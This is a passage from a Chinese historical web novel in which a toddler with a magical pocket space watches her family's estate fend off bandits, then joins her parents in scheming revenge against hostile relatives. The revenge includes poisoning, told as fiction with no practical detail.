孟沅最关心的还是西北角,那里没有高高的冰墙做屏障,只有临时设置的拒马和绊索,最容易攻破了。可侧着小耳朵仔细听了半天,那里居然动静也不大,只是偶尔传来一两声短促的闷哼或惊呼,很快又归于沉寂。 怎么回事?那些成群结队、据说凶神恶煞的亡命之徒,真的那么弱吗?孟沅忍不住眯起眼睛,小手搭在额前,努力想看得更清楚些。 同样的还是远,大宅本身就建在庄内地势稍高的地方,虽然不是正中心,但距离四面围墙都有不短的距离。 她奇怪地发现:另外三个方向,为了照明和威慑,都燃着不少火堆,照得通明。唯独西北角那最危险、按理说应该防护最严密的地方,却是乌漆嘛黑一片,非但没有燃起几堆像样的大火,连举着火把巡逻的人都看不到,只有零星几点微光,像是萤火虫在飘。 可偏偏就是那片黑暗里,偶尔会传出些奇怪的、像是重物倒地的声响,以及压抑的惨叫声。 也不怕灾民们趁黑作乱?这又是三十六计中的哪一计?是“请君入瓮”,还是“以逸待劳”? 孟沅挠了挠被风吹得有些凌乱的小鬏鬏,忍不住“阿嚏”一声,打了个小小的喷嚏。她这才后知后觉地发现自己没戴帽子,再低头一看身上——哎呀!只穿着中衣和夹袄,外面那件最厚实的棉衣不见了! “呵呵,忘了红袖姐姐已经帮我脱了棉衣才睡的,难怪觉得身上冷飕飕的,风直往里钻呢。” 意念一动,回到屋里温暖的床上,她才发现自己是“穿”过屋顶进来的,果真,刚才“漂移”的两个点之间,直线距离并没有超过五丈。 她蹑手蹑脚地爬下床,摸黑找到自己的小棉袄、小棉裤,还有那顶带着绒球球的虎头帽,费力地穿上。再套上软底的小棉鞋,重新捏紧胎记。下一秒,她又进了空间,然后再一次回到了冷冷的屋顶。 这次是全副武装了。心里又是一阵发笑:“能穿透屋顶?是不是意味着……也可以穿墙?那我岂不是成了小穿山甲?”穿山甲还要费劲了,她啥劲都不用。 再看向那边黑不隆冬的西北角,这回孟沅平心静气,小脸严肃,屏住呼吸,一直盯着那片仿佛能吞噬光线的漆黑方向。 这一回,因为居高临下,心又静,总算让她看出了点猫腻。她看到那边偶尔有黑影,像巨大的、无声的蝙蝠,或者说是夜鸟,以极快的速度从高处掠过,姿态轻盈又诡异。 每一次黑影迅疾地俯冲而下,地面上好像就有什么东西软软地瘫倒下去,再无声息。(十五和十六若是知道小姐把他们比作蝙蝠,必然会有点不高兴,暗暗嘀咕:我们才不是蝙蝠,怎么都应该形容为捕食的巨鹰才更贴切神武嘛。) “嘿嘿!”阿沅看懂了一点,心里乐开了花,小拳头轻轻一挥,“那是我的迷药,还有那些毒药粉,起了作用了!” 她记起来了,这些药发到护卫们手上的时候,孟大川是有过郑重强调的:“毒药只针对真正凶神恶煞、持械伤人的歹人。对于那些面黄肌瘦、只为了一口吃的沦为强盗的普通灾民,他们也是迫不得已,迷倒了拖出去便是,莫要害人性命。” “那就不会两败俱伤,血流成河了。但是……那么多人,拖出去或者找个地方丢下、埋了,也挺费劲的呀。”阿沅忍不住同情起自己庄子里的护卫和佃户们来,小眉头微微蹙起,仿佛看到了他们累得气喘吁吁的样子。 再看向那更远处、属于仇人的白水庄方向,那边居然燃起了熊熊大火,火光映红了小半边夜空,隔着这么远,似乎都能感受到那股热浪和混乱。 “呵呵,太好了。”看到对手倒霉,这一次阿沅没忍住,得意的笑声像银铃一样,轻轻从唇边溢了出来。 “谁?谁在上面!”一声低沉的喝问骤然从下方响起,带着警惕。几乎同时,一道黑影如疾风般从廊檐下某处掠起,迅捷无比地朝着屋顶扑来! 孟沅吓得一个激灵,小脑袋猛地一缩,把自己迅速蜷成一个小球,然后用力捏紧掌心,心里大喊“回去回去!”瞬间便消失在原地,进入了绝对安全的随身空间。 但她消失前,耳朵还是捕捉到了外面那名暗卫略带疑惑、向堂内禀报的声音:“刚才……房脊上好像有个小小的人影,那身形……那声音……怎么有点像小姐。”语气里满是不确定。 端坐正堂内的孟大川一听,原本沉稳的面色微微一动,随即恢复如常,声音严肃:“休得胡言!小姐早已安睡。定是野猫踩踏瓦片,或是你眼花了。云娘,” 他转向妻子,语气温和下来,“你去阿沅屋里看看,别让她踢了被子,受了凉。” 谁都没注意到,他话虽说得笃定,却几不可察地轻皱了一下眉头,手指无意识地摩挲着茶盏边缘,心中似有所想,泛起一丝疑虑和担忧。 也幸亏柳氏进屋瞧女儿时,只是就着窗外透进的微光,看到她的小被子盖得好好的,一团隆起,便只爱怜地帮她掖了掖被角,没有伸手去掀开。不然,依然穿着棉衣棉鞋、只记得脱了棉帽的孟沅,这番奇怪的装扮,必然要露馅了。 第75章 拉钩,上吊,100年不许变 “昨晚咱们这边还算走运,就轻伤了两个护卫,财物倒是一点没少,可那围墙被撞坏了好几处——尤其是砍掉荆棘又没有冰墙的那几段,得赶紧找泥瓦匠砌起来才行。 白水庄那边可就惨了,被抢得干干净净,后来从咱们这儿退回去的那批灾民,又折返回去搜刮了一通,怕是连根针都没剩下。 他们庄上的护卫死了不少,但奇怪的是,死的没见着姓白的那一家子。大人,您说……他们会不会已经趁乱逃了?” “眼下大雪封路,能逃到哪里去?十有八九还躲在宅子里,那种人家,指不定修了密室或者密道。” “那属下派人日夜盯着,今晚再带人仔细探一探?” “不必了。”孟大川摆摆手,眼中闪过一丝精明的算计,“就算此刻不在宅内,也必定在附近藏着。依我看,与其费人力去盯梢,不如让他们彻底死心。等雪一化,他们就动身回京城。这么一来……” 他嘴角微勾,露出一个意味深长的笑,朝孟柒招了招手,“附耳过来。” 孟柒立刻躬身凑近,孟大川压低了嗓音,如此这般地交代了一番。 第二天一早,孟沅迈着小短腿,晃晃悠悠地溜进爹娘的屋子时,正巧撞见孟柒和爹爹在说话。一见他们说悄悄话,她那双乌溜溜的大眼睛立刻亮了起来,小手扒着床沿,嘴里噗嗤噗嗤地使劲,小身子一扭一扭地就往床上爬——她可得听个清楚! “白家虽说买卖做得不算顶大,在城里却也置了几个宅子和铺子。可一旦人都聚到了京城,那可就热闹了。他们少不了要去侯府闹腾,说不定还会厚着脸皮直接搬进去住呢。”孟柒的声音带着几分讥讽。 “他们就开始狗咬狗了吗?”阿沅好不容易爬上床,小脸红扑扑的,喘着气就插进来这么一句。那用词,那语气,活脱脱个小人精,连一向沉稳的孟柒都忍不住对她侧目,原本严肃的脸上漾开了一丝笑意。 “光是看着多没劲,”孟大川胸有成竹,伸手一把捞起女儿软乎乎的小身子,让她坐在自己坚实的臂弯里,“得给他们添点猛料,让他们打得再热闹些。”孟柒会意,低头退了出去。 “昨晚——是不是没好好睡觉?”孟大川转而看向臂弯里的女儿,脸色故意一板,让她的眼睛无处躲闪,只能直愣愣地看着自己。 阿沅心里一咯噔,知道昨晚趴房顶的事瞒不过爹爹了。她立刻瘪了小嘴,长长的睫毛耷拉下来,声音细得像蚊子叫:“就……就看了一下下,黑乎乎的,啥都看不清嘛。”边说边偷偷抬眼,瞅爹爹的脸色。 听到她没看见什么血腥场面,孟大川心里暗暗松了口气,脸色稍稍缓和。没被吓着就好,只是不懂凶险,到底还是淘气了些。 可阿沅紧接着又嘟囔了一句,小脸皱成一团:“(屋顶上)可冷可冷了,呆不久。” “呵,你还知道冷?”孟大川被她这又怂又贪玩的模样逗乐了,哭笑不得地轻拍了一下她的小屁股,“怎么不干脆上天摘月亮去?”这一下拍得不重,满是嗔怪与疼爱,算是小惩大诫。 他随即正色警告道:“以后想干什么‘大事’,记得先跟爹爹通个气。”其实心里的那点后怕和气恼,早被女儿这模样驱散了。他昨晚回想起来还真有些悬,这小丫头要是被暗卫当贼逮着了,可不好解释。 “不能说,”阿沅却把小脑袋摇得像拨浪鼓,一本正经地反驳,“爹爹不能上瓦。”她心里还委屈呢,要是爹爹或者哥哥能陪着,她才乐意在屋顶上看一晚上热闹呢,好歹有个伴,又暖和,还不用提心吊胆躲着人。 再说,她一个三岁的小娃娃,一个人呆在上面,难道不会害怕吗?想着想着,小嘴巴嘟得更高了。 “哟,这是嫌弃爹爹腿脚不利索了?”孟大川看她那小模样,心都要化了,故意逗她,伸手轻轻捏了捏她翘挺的小鼻尖。“等爹爹的腿好利索了,爹爹也带你‘飞高高’,夏天晚上,咱们就到屋顶上乘凉,捉萤火虫,看星星,好不好?” “爹爹说话算数?”阿沅的眼睛瞬间亮晶晶的,充满了期待。 “当然算数。” “拉钩!”她立刻伸出胖乎乎的小指头。 “好,拉钩。”孟大川也笑着伸出小指。 父女俩的小指紧紧勾在一起,阿沅摇晃着两人相连的手,用清脆的童音一字一句地念道:“拉钩,上吊,一百年,不许变!” 第76章 更加疯癫的孟怀瑾,快绝户的大房 那一次跟灾民的冲突后,庄子外、附近村庄、乃至整个镇子都很安静,几乎没见一个人,连平日里惯常出没的野狗都不见了踪影。 附近的村民可能也是怕了,个个闭门不出,门窗关得严严实实,只在缝隙后藏着惊疑不定的眼睛,偶尔有炊烟升起,也显得瑟缩而胆怯,生怕再招来什么祸事。 第四天,日头暖了些,积雪化得泥泞,终于有胆子大的村民开始试探着走动,先是探出头张望,见四下无声,才慢慢挪出家门,村路也有了稀稀落落、小心翼翼的人行走的迹象,也有的三三两两开始出来晒太阳。 嘉禾庄那两扇沉重的榆木大门,也在这个冬天过后第一次,“吱呀呀”地被缓缓推开,沉闷的声响传得老远。 “开门了,开门了!”早就扒在门缝后眼巴巴等着的孩子们,顿时像得了赦令,撒开脚就往外冲,跳脱得如同脱缰的野马,又如同囚了许久的雀儿终于见了天日,嘴里发出无意义的欢叫,在湿漉漉的泥地上踩出凌乱又鲜活的脚印。 “慢着点!外面还不是一样的天地,别走远了,世道还乱着呢。”大人们虽是这么扯着嗓子嗔骂,脸上却也挂着如释重负的轻快,三三两两,互相招呼着,不紧不慢地往门口的方向去,深深吸着门外清冷又自由的空气。 “可算是能出去了,赶紧出去透透气,一个冬天憋在这庄子里,我快闷出霉来了!”有人伸着懒腰感慨。 林庄头提着面铜锣,“哐哐”地敲着,洪亮的声音在庄子里回荡:“出去瞅上几眼就赶紧回来!围墙那头的活计还多着呢,缺口都得补上,别光顾着野!”他主要冲着那些跑得最快的青壮年喊,目光却扫视着所有人。 “出去的人可别落单,都集中在一处,别到处乱跑。” “门房,让他们浪完了赶紧回来,申时准点关门。” …… “小姐,小姐!快点起床,出去玩了!大院的门开了,庄子的门也开了,庄子里的人都跑出去啦!”几个孩子里莲子得消息最快,她性子急,一大早就把阿沅的房门拍得砰砰响,像擂鼓一样,清亮的声音里满是迫不及待的兴奋。 “真的?爹爹怎么没告诉窝?还有柒叔……好过分,都瞒着窝!”阿沅正睡得迷迷糊糊,一听这话,立时清醒,一骨碌从暖和的被窝里爬起来,眼睛还没完全睁开,就急着往外窜,中衣带子都没系好。 刚冲到门边,就被早有预料、守在一旁的绿果和红豆逮了个正着。 “我的好小姐,外头冷,衣裳总得穿周全了,鞋子也得穿好!”跟出来的红袖又好气又好笑,手脚利落地把她捉回来,按在妆台前,和绿果、红豆一起,七手八脚地给她穿戴梳洗。 今天阿沅穿得没往日那么臃肿,一身茜红色小袄配着杏色棉裙,头发梳成双丫髻,扎着同色的发带,显得格外精神。 许是这些日子扎马步有了成效,她站得稳当,脚下也快,一收拾妥当,就像颗小炮仗似的冲了出去。 莲子和红袖一左一右紧紧跟着,嘴里不住喊着“慢点”,后面不紧不慢跟着绿果和红豆。几个穿着不同颜色衣裳的小不点,在还有些冷清的庄道上快速移动,叽叽喳喳,宛如一道滚动的、鲜亮活泼的风景线。 奇怪的是,平时阿沅稍微跑跳些总要出来叨上几句“没个姑娘样子”的柳氏,今日竟没见踪影,也没派人来拦,婆子们也乐呵呵的。 阿沅一边跑一边心里犯嘀咕,气鼓鼓地想:娘亲肯定是自己偷偷跑出去看新鲜了,居然没喊上她!好过分!好过分! 一出了嘉禾庄的大门,眼前顿时开阔热闹起来。外头空地上聚了好些人,大多都是自家庄子的佃户和家仆,许多面孔熟悉却许久未见,纷纷招呼起来,作揖的人也不在少数。 尤其是那些佃户家的孩子,平日虽然没有完全拘在各自院里,但是也难得这么齐全地凑在一处。阿沅一来,立刻成了最受欢迎的那个,被孩子们簇拥在中间,这个拉她去瞧化冰的溪沟,那个邀她玩新想出的游戏,没一会儿就玩闹在了一起,一个个小脸红扑扑的,笑声又脆又亮。 阿沅玩得兴起,连早饭都忘了吃,还是绿果细心,看着日头估摸着时辰,悄悄回大院厨房取来了几块温热的枣泥山药糕,才没让她饿着肚子疯玩。 然而,阿沅和这群沉浸于久违自由与欢闹中的孩子们并不知道,就在庄子大门口这片祥和热闹的不远处,庄子的西北角那边,正上演着一场截然不同、令人心惊的混乱。 出事的是孟怀瑾。只见他不知从何处奔出,寝衣外只穿着单薄的袄子,外头再胡乱裹了件扯破的夹袍,衣衫不整,襟口大敞,头发凌乱披散,脸上沾着污迹,眼神涣散空洞。他脚步踉跄,却跑得飞快,嘴里反复念叨着破碎的句子:“读书……要科考了,得读书……不能懈怠……” “夫子……夫子,学生回来了,学生这就用功……定能考上……” 他像是完全看不见旁人,也辨不清方向,竟从那处因冲突受损、还未完全修葺好的围墙缺口处,深一脚浅一脚地冲了出去。 碎砖烂木刮破了他的衣摆和手臂,他也浑然不觉。冲出庄子几十步,外头是化雪后泥泞不堪的田埂,他接连跌了好几跤,每一次都摔得狼狈,泥浆溅了满身满脸,可每次又都挣扎着爬起来,继续往前疯跑,方向竟是白水庄附近和更远处镇子的方位。 过了两盏茶功夫,围墙内的声音乍起。 “墨竹!纸槐!你们两个杀才!怎么看顾少爷的?眨眼功夫就出了这么大纰漏!还不快去找!找不见少爷,你们就提着自己的脑袋来见!”一个管事模样的中年男子急得脸色铁青,跺着脚厉声怒骂,声音都劈了叉。 旁边几个小厮模样的人吓得面如土色,被骂得不敢抬头。 “还愣着干什么!备马!庄子里能动的男丁,除了守门的,全都给我出去找!分头找!”护卫强自镇定地指挥,但微微发颤的手指出卖了他的恐慌。场面一时闹哄哄乱成一团,惊呼声、催促声、马蹄声混杂。 有婆子出门就拍着大腿,带着哭腔喊道:“少爷就穿这么少跑出去的,这冰天雪地才化……天老爷啊!这要是冻着了,或是跌进哪个水塘里……嗨!完了完了!” 几个被派出去寻人的小厮和婆子,慌不择路,见到路上有行人,或是躲在屋角檐下晒太阳的村民,就扑上去抓住急问:“这位老哥(大嫂),可看见我们少爷没?十三四岁年纪,身量比我高些,穿得单薄,疯疯癫癫的,会说胡话!” 被问的村民先是被这阵势吓一跳,待听明白,有的茫然摇头,有的则恍然道:“哎呀!是有一个这样的后生,瘦的好像没几天没得吃了一般,往镇子那边跑去了,跑得可快了!你们怎么现在才找呀?迟了迟了,怕都跑出好几里地了!” 更有人补充:“得有半个多时辰了吧?我们还以为是哪来的疯乞丐,也没敢多管闲事……” “完了,这下全完了!”一个婆子眼泪都出来了,压低声音却又忍不住对同行的人叨念,“你们是不知道,夫人刚才在屋里听说少爷跑了,急火攻心,当场就吐了好几口黑血,还想自己亲自出来找,可没出院子门就浑身发软,跌了十几跤,最后被人硬扛了回去……这要是少爷真找不回来,夫人怕是……怕是撑不了几天了。” 旁边另一个婆子也抹着眼泪,声音里满是凄惶:“我们大房这是造了什么孽啊!老爷……老爷那样了,夫人又……少爷再有个三长两短,剩下那个不懂事的小小姐可怎么活?这安平侯府的大房,眼瞅着就要……就要绝户了呀!” 这些话,有意无意地,顺着风飘进了围观者的耳朵里。那些原本只是好奇张望的附近庄户、路过行人,此刻都竖起了耳朵,脸上露出或同情、或唏嘘、或探究的神色。 安平侯府大房?那个住在嘉禾庄里的竟是侯府贵人?竟落得如此凄惨境地——当家的老爷烧得只剩半口气?夫人病入膏肓吐血不止?唯一的少爷疯了跑了?只剩个三岁小女娃?啧啧,真是可怜至极,怕是离彻底败落、香火断绝不远了。 人群外围,三个其貌不扬、农户打扮的男子,一直冷眼瞧着这场混乱。他们扎在人堆里,起初跟着凑热闹,后来更是扯住几个看上去嘴碎知情的孟家婆子,一脸关切地问东问西,打听细节。 待听得差不多了,三人交换了几个细微的眼神,便悄没声息地退出人群,脚步匆匆,却是径直往白水庄的方向去了。 亲眼看着那三人消失在白水庄的大宅方向,一直隐在暗处阴影里的孟柒,嘴角几不可察地动了一下,随即发出一声短促而清晰的口哨。 哨音刚落,他便转身,快步朝庄内的院落飞奔而去。而远处,两道矫健如狸猫的身影——正是十五和十六,在听到哨音指示后,毫不犹豫,身形一展,便朝着白水庄的大宅潜伏了进去。 第77章 那就让她没有手 白水庄的正堂内,窗扉紧闭,炭盆里的火半死不活地燃着,烟气有些闷人。 萎靡了几天的白弟城,此刻却一扫颓唐,背脊挺直了些,静静地听完了手下人的详细汇报。 他枯瘦的手指一下一下,轻叩着身下太师椅的黄花梨木扶手,发出笃笃的轻响,原本紧锁的眉头渐渐舒展,甚至嘴角边勾起一丝难以察觉的、如释重负的冷笑。 “爹!”一旁的白继祖几天没沾着油水,脸色有些发黄,但那个圆滚的肚子依然颤巍巍地挺着。 他满眼放光,凑上前压低声音,带着一股狠戾的兴奋,“要不要……咱们再去放一把火?趁他病,要他命!”他做了个下劈的手势。 “放什么火!”白弟城猛地停下叩击,斜睨了儿子一眼,眼神里带着训斥和谨慎,“都到了这步田地,他们自己离死不远了,还需要我们冒这种险?你是嫌命长,还是嫌衙门的大牢空着?” 他顿了顿,声音压得更低,却字字清晰,“我听说,镇子里衙役增加了不少,日夜巡查,就等着抓带头闹事、杀人放火的典型,好向上头交差呢!” 衙门不可能一直不作为,特别是在这雪化即将春耕的时候。听说这段时间,像他们这样报了官、声称被灾民抢掠的“苦主”都已经排成了几排。 接下来,谁再敢挑头生事,绝对是杀鸡儆猴的那只“鸡”。这一点,白弟城自认看得比他那莽撞的儿子清楚得多。 “那……那就任由他们自生自灭?”白继祖有点犹豫,搓了搓肥厚的手掌,忽然想起什么,脸上露出为难之色,“那我娘(老宋氏)那边……如何交代?她可是发了话,不看到那一家子彻底断气,绝不甘心的。” “交代?什么交代!”白弟城从牙缝里挤出声音,带着几分不耐和决绝,“我已经忍的够久了。难不成要我们一家老小一直在这鬼地方喝西北风,陪着他们耗到死?先回去再说!横竖他们死绝,也就是这几个月的事了,老太太等得起也得等,等不起……” 他后面的话没说完,但眼中寒光一闪,咬着满口被烟熏黄的牙,斩钉截铁道,“叫你媳妇她们,把剩下的东西赶紧收拾利索了,路一通,我们马上——回京!” “好的,爹!我这就去!”年已不惑的白继祖一听这话,高兴得几乎要跳起来,脸上的肥肉都兴奋地抖动着,那模样竟宛如七八岁得了糖果的孩童,屁颠屁颠地转身,忙不迭地招呼自己老婆孩子收拾行囊去了,仿佛多待一刻都是煎熬。 屋顶上,两道几乎与瓦顶融为一体的黑影,将堂内这番对话听得一字不落。两人相互对望一眼,微微点了点头,然后将轻轻挪开的瓦片依原样粗略盖好,身形如狸猫般轻盈,悄无声息地迅速退出白水庄,向着嘉禾庄的方向疾掠而去,只余寒风微微拂过屋瓦。 …… “要走了?”嘉禾庄内,孟大川听了孟柒的汇报,略感意外。 他半靠在榻上,身上盖着锦被,脸上病容已经消失殆尽,但眼神锐利,“还以为他们不见棺材不落泪,非得等到我们……全部咽气的那一天才会撤呢。这时候就打退堂鼓了?”这倒有些出乎他的预料。 坐在一旁椅子上的孟怀瑾,养了几个月,也没见多长点肉,但眼神清明。他摇了摇头,声音平稳:“即使孟二泉自己不急,那老太婆也绝不会善罢甘休。她苦心谋划这么多年,眼看只差临门一脚,岂会轻易放弃?” 柳氏正坐在床边,闻言也转过头来。她怀里鼓鼓囊囊的,闻言轻轻拍了一下被窝,接口道:“就她那把年纪,行将就木,不急才怪呢!怎么都得在闭眼前看到孟二泉名正言顺地继承爵位,把大房的一切彻底握在手里,不然这阵子也不会像疯狗一样,使出那么多下作手段。”她语气里带着深深的厌恶。 “那就让她没有手——屎掉(死掉)!”一个软糯却带着狠劲儿的声音忽然从柳氏怀里的被窝中迸出来。只见被子被顶开一道缝,一颗毛茸茸的小脑袋钻了出来,头发睡得有些乱,翘起几根呆毛,正是阿沅。 她黑葡萄似的大眼睛亮得惊人,丝毫不见睡意,显然偷听了许久。此刻,她一只小手猛地从被窝里伸出,手里竟还举着个小小的青瓷药瓶,瓶身冰凉。 她挥舞着小瓶子,语气又急又狠,偏偏配上那稚嫩的脸蛋和软糯的嗓音,形成一种奇异反差:“毒屎(死)她!” 屋内四人同时看向她,脸上虽然惊讶,情绪却不起伏,仿佛这话从这三岁小娃嘴里说出来,已不算稀奇,而是应当。 孟柒甚至眼睛一亮,脸上掠过一丝兴奋,他立刻单膝点地,朝着阿沅的方向,声音洪亮:“孟柒全听小姐吩咐!”然后,他抬起头,一脸期待地看向孟大川,“大人,您看是不是……”那意思再明显不过,跃跃欲试。 柳氏和孟怀瑾闻言,眼神也是一动,脸上露出思索和些许期待。 柳氏心想:若是那老虔婆真就此死了,小宋氏又是个半瘫动弹不得的,马上就能去掉最大的心腹之患,剩下一个孟二泉,虽也阴毒,但没了老母出谋划策、坐镇后方,又有朝堂羁绊,无疑要好对付得多。 孟怀瑾亦是微微颔首,觉得快刀斩乱麻,似乎也不错。 “死?”孟大川却轻轻皱起眉头,手指无意识地敲着榻边,也朝孟柒勾了勾手,他却没有起来。 孟大川想得显然更多、更远,“死了……是不是太便宜了她?” 他目光扫过妻儿和孟柒,缓缓道,“我们要的,不仅仅是她死。孟二泉既是奸生,就必须从族谱剔除,老宋氏、二房的名字,也一样不能玷污侯府名声。”他要的是从根子上,将二房这一系彻底抹去合法性。 第78章 毒哑她 “还有孟怀堂和孟绫,他们都是大坏蛋!”阿沅口齿比从前伶俐了不少,不在称呼什么堂哥堂姐。 她小牙齿咬得咯咯轻响,掰着手指头数,眼里闪着“智慧”的光芒,“一个(孟怀堂)疯了再屎(死),一个(孟绫)卖进窑子——也屎(死)!”她觉得自己这安排简直天衣无缝,坏人都有坏报。 孟大川听得哭笑不得,连忙伸手轻轻捂住了女儿叭叭的小嘴,低声道:“阿沅,别胡说。”他心里想,这样的狠话,自家人知道就好,最好孟柒听不清、听不懂,免得觉得他女儿太过……嗯,不是狠毒,是早慧。 却完全没想到,孟柒听完小姐这番话,几乎想当场俯首膜拜了。 短短几个月,见识了那家人的恶毒无耻,要是放在北疆战场上,他早可以一刀抹了对方脖子,再大卸八块,何等痛快!哪像现在,瞻前顾后,弯弯绕绕,烦死个人。小姐这直捣黄龙的“气魄”,深得他心! 看所有人都带着点不解看向自己,主要是针对“死了太便宜”这个观点,孟大川理了理心绪,松开捂着阿沅嘴的手。 看向还在嘟着嘴、有点不服气的小女儿,耐心解释道:“阿沅想想,坏人一下子死了,什么都不知道了,是不是就再也不难受了?哪有让她活着,却动弹不得,眼睁睁看着自己在意的一切都失去,一天天受罪,让别人看着……更舒服呢?”他试图用孩子能理解的方式,阐述“生不如死”的意味。 想到书中柳氏被毒哑喉咙,被粗绳捆绑着,绝望地推上那辆送往乞丐窝的马车,最后凄惨死去的场面,阿沅小身子一颤,黑眸中火光更盛,再次出声,这次目标明确:“毒哑她!”让她也尝尝有口难言的痛苦! 这一次,孟大川终于缓缓点了点头,眼中闪过一丝冷厉的赞同。 阿沅见爹爹点头,立刻得寸进尺,小脑袋瓜飞速运转,又奶凶奶凶地追加一句:“又聋又哑!”让她听不见谄媚,也说不出恶言,更不能出谋划策! 这一次,屋内所有人都没再露出意外神色。柳氏、孟怀瑾、孟柒,甚至孟大川,看着那小不点一脸认真盘算着如何让人更痛苦的模样,眼神都有些复杂,里面似乎闪动着些不一样的东西——有痛心,有狠决,也有一种被残酷现实催生出的、冰冷的默契。 阿沅似乎觉得自己想出了绝妙的主意,忽然咧嘴笑了,笑容在稚嫩的脸上显得有些“无耻”,她补充了终极方案:“瘫在床上,只有眼珠子能动!”像小宋氏那样,但要比小宋氏更惨,连哼哼都做不到。 柳氏闻言,心头猛地一酸,一股钝痛蔓延开来。她和孟大川一起,紧紧搂住女儿小小的、温热的身子。 她深吸一口气,压下喉间的哽咽,点头,声音平静却带着刻骨的寒意:“好。阿沅帮娘往她嘴里塞冰块,或是……放一根烧得红红的铁炭,让她也好好尝一尝,这其中的滋味。”以其人之道,还治其人之身。 孟大川看着怀中的妻女,一个温柔隐忍如今染上锋锐,一个天真稚嫩却已学会睚眦必报,心中涌起一阵复杂的情绪,但最终化为一声轻叹和眼底的坚定:这样有恩报恩、有仇报仇的夫人和女儿,他喜欢,也必须要护她们周全,让她们能痛快地报这血海深仇。 他的目光随即转向一旁的儿子孟怀瑾。孟怀瑾被他看得莫名一凛,肩膀瑟缩了一下,心里嘀咕:怎么感觉爹爹看我的眼神,好像有点……嫌弃?是嫌我不够狠,还是嫌我太文弱? 柳氏回想起第一次听女儿说出类似狠毒的话时,自己内心是何等的害怕和颤抖,生怕女儿被仇恨吞噬,长成狠厉乖张之人。可现在,她一片坦然,甚至觉得女儿做得对,想得周全。这不过是以其人之道还治其人之身,而且比起那家人对她们所做的,这还远远不够! 若是哪日她能回归侯府,定要亲手将老宋氏置于炭火之上,让她亲身尝尝全家离散、自己不得好死的滋味! 阿沅可没想那么多,她黑葡萄似的大眼睛滴溜溜一转,落在了已经站得笔直的孟柒身上,目光清澈见底,形容天真无邪,问出的问题却关乎行动效率:“柒叔,窝们更快,四不四?(我们动作更快,是不是?)” “自然!”孟柒腰板挺得更直,一脸傲娇,眼中闪着属于战士的锐光,“血洗完侯府,办妥小姐交代的事,他们的马车也最多才走到半路。” 他眼前仿佛已经看到了战场清扫、大获全胜的场景。即使自己不能亲手在战场上冲杀,能跟着小姐这样有仇必报、思路清奇(且有效)的主子,看着仇人得到报应,也一样解气。 若是以后真的再不能重回北疆沙场……他悄悄看了看沉静的孟大人,又看了看古灵精怪的小姐,心中的天平,似乎微微倾斜了那么一点。 “太好了!”阿沅一听,立刻高兴起来,小拳头一挥,开始分配任务,“窝准备毒药,柒叔喂好马马(马)。”她已经自动进入了“二进安平侯府”的备战状态,小脸上满是跃跃欲试。 嘿嘿,上次去得太匆忙,主要是探路和初步报复,太便宜孟绫和孟怀堂那两个坏种了。这次她得好好想想,就算暂时给他们留条命在(爹爹好像不喜欢直接弄死),也绝不能让他们太好过! 烧蚂蚁?泼冰水?还是……她黑亮的眼珠转啊转,里面闪烁着“智慧”的火花。 孟大川:“……” (你们是在无视我么?就这么当着我的面,把下毒、弄哑、弄瘫、血洗侯府……一系列流程都安排好了?连三岁女儿都开始准备“毒药”了?我这当爹的,还没最终拍板呢!) 他看着瞬间进入“复仇筹备会议”状态的妻女和部下,忽然觉得额头有点疼,心里那点关于“女儿是否过于狠辣”的忧虑,瞬间被眼前这荒诞又无比认真的场面冲淡了不少。 第79章 拦截侯府的信。 “大人,那边果然等不及了。” 阿沅刚吃完中饭,小肚子溜圆,像只满足的小猫似的赖在爹爹松软的被褥里。 她正打着哈欠,用小脸蹭着枕头上的竹叶绣纹,盘算着要窝在爹爹身边美美睡个囫囵觉,孟柒就带着一身外头的凉气,大踏步走了进来。 他神色比平日更显凝重,靴子踏在地板上发出干脆的声响,径直上前,双手呈上一封书信。那信封触手冰凉,还氤氲着一丝未散的寒意,像是刚从冰窖里取出,又或是被快马加鞭送来,沾透了夜露晨霜。 “计划可如愿?办完了回京!别磨蹭。”孟大川抽出里头薄薄半截信签,上面只潦草地写着这么两句话,末尾那几个墨点浓重、笔锋尖锐的大问号,却几乎要戳破纸背。 若是没有阿沅先前那个预示不祥的梦,任谁看了,或许都会以为这只是京城那边一句简单而急躁的问候。可此刻,这寥寥数字却像淬了毒的针,直直刺向人心。 “这字迹,张狂跋扈,转折处带着股子刻意压下去的狠劲儿,果然是那老太婆的手笔!”孟大川的目光骤然冷冽,胸腔里腾起一股压不住的怒火,手指猛地收紧,将信笺狠狠捏成了一团,纸张发出不堪重负的细微呻吟。 “老太婆……等不及……想吃席了?”阿沅的小脑袋从被窝里钻出来,头顶两个睡歪了的小揪揪随着动作轻轻晃动。她眨巴着黑白分明的大眼睛,里头映着跳跃的烛火,竟难得没有像大人那样怒火中烧,反而充满了孩子气的好奇,仿佛只是在探讨一个有点古怪的话题。 孟柒见状,上前一步,压低了嗓音请示:“大人,这信……不给他们白水庄那边送过去瞧瞧?” 孟大川从鼻子里哼出一声冷笑,手心里的纸团已被揉捏得不成样子。“不必了。”他语气斩钉截铁,“他们心里早有了回程的盘算,脚底板怕是都痒了。这信送不送,他们回去都自有一套说辞,何必多此一举。” 说着,他松开紧握的拳,手指将那团纸弹了出去。大手转而落在旁边那颗毛茸茸的小脑袋上,带着厚茧的掌心轻轻抚过阿沅细软的发丝,那轻柔的触碰与他方才的怒容判若两人。 他的目光转向孟柒,语气变得沉稳而决断:“阿柒,以你现在的身手,带着小姐,眼下能寻到路出去了吗?” 此言一出,原本还懒洋洋窝着的阿沅立刻像只被惊动的小雀儿,“腾”地一下挺直了小身板,耳朵都仿佛竖了起来,圆溜溜的眼睛里闪烁着紧张又兴奋的光芒,完全明白“出去”,是一场即将开幕的大戏,而她已做好了登台的准备。 孟柒眼中骤然爆发出明亮的光彩,他单膝跪地,抱拳的动作干净利落,声音因激动而微微发颤:“能!属下日夜探察,早已摸清路径。回城之路十之八九已通畅,仅余两处险峻山脊,马匹确实难以通行,但对属下及几位擅长轻身功夫的兄弟而言,只要不携带重物,翻越并非难事。至于小姐——” 他抬眼看向床上那小小的一团,脸上不由自主地漾开一抹与冷峻面容极不相称的、近乎慈爱的“姨父笑”,语气也放得软和了许多,“嘿嘿,小姐身量轻盈,比只野兔子也重不了多少。属下就是拼了性命,也定护得小姐万无一失,平稳抵达。大人和夫人尽管放心!” …… “泥的脸……像……凉瓜,真难看。” 内室里,红袖听说这次进京不能带上自己,正一边抽抽搭搭地给阿沅收拾一个小包袱,里头仔细装着替换的两套衣服软袜、一小盒面霜、还有用油纸包好的桂花糖,一边哭丧着脸,嘴里低声讷讷抱怨,眼圈儿都红了,“小姐不在身边,奴婢这心里头……空落落的,怎么都不踏实。” 